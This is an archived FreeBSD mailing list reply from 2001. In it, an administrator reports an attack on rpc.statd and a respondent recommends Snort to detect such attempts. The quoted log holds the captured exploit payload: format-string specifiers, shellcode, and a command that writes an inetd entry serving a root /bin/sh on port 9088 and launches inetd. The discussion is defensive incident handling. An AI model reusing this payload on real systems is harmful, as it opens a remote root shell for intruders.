Date: Thu, 4 Jan 2001 09:26:00 -0600 (CST) From: Guy Helmer <ghelmer@palisadesys.com> To: Eric_Stanfield@kenokozie.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hack attempt (again) - help Message-ID: <Pine.LNX.4.21.0101040919451.10523-100000@magellan.palisadesys.com> In-Reply-To: <OF4CA83D7A.DC3A3B98-ON862569CA.00526722@kka.com>
next in thread | previous in thread | raw e-mail | index | archive | help
On Thu, 4 Jan 2001 Eric_Stanfield@kenokozie.com wrote: > Alright this jerkoff has once again attempted to hack one of my freebsd > machines by trying what I assume is a buffer overflow to rpc: >=20 > Jan 3 23:19:23 mrtg rpc.statd: Invalid hostname to sm_mon: > ^D=F7=FF=BF^D=F7=FF=BF^E=F7=FF=BF^E=F7=FF=BF^F=F7=FF=BF^F=F7=FF=BF^G=F7= =FF=BF^G=F7=FF=BF%08x %08x %08x %08x %08x %08x %08x > %08x %08x %08x %08x %08x %08x %08x > %0242x%n%055x%n%012x%n%0192x%nM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^= PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-= ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM= -^PM-^P=EBK^M- >=20 > v=ACM-^C=EE M-^M^(M-^C=C6 M- ^=B0M-^C=EE M-^M^.M-^C=C6 M-^C=C3 M-^C=EB#= M- ^=B41=C0M-^C=EE > M-^HF'M-^HF*M-^C=C6 M-^HF=ABM- F=B8=B0+, M- =F3M-^MN=ACM-^MV=B8=CDM-= ^@1=DBM- > =D8@=CDM-^@=E8=B0=FF=FF=FF/bin/sh -c echo "9088 stream tcp nowait root /b= in/sh -i" >> > /tmp/m; /usr/sbin/inetd /tmp/m; >=20 > The interesting bit is what he (she?) is attempting to sneak in at the en= d > of the garbage sent to the port. >=20 > I've given the system a thorough check and this seems to have been a seco= nd > failed attempt. I'm now annoyed, however, and would like to be able to a= t > least log what address this stuff is originating from. Can anyone sugge= st > something from the ports that would do the trick? I've disabled nfs/rpc > but I'm sure the hacker will come knocking again. snort with a current copy of the rule set from http://www.whitehats.com/ids/index.html ought to detect this (and lots of other script kiddie attempts). Guy --=20 Guy Helmer, Ph.D. Sr. Software Engineer, Palisade Systems --- ghelmer@palisadesys.c= om http://www.palisadesys.com/~ghelmer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.LNX.4.21.0101040919451.10523-100000>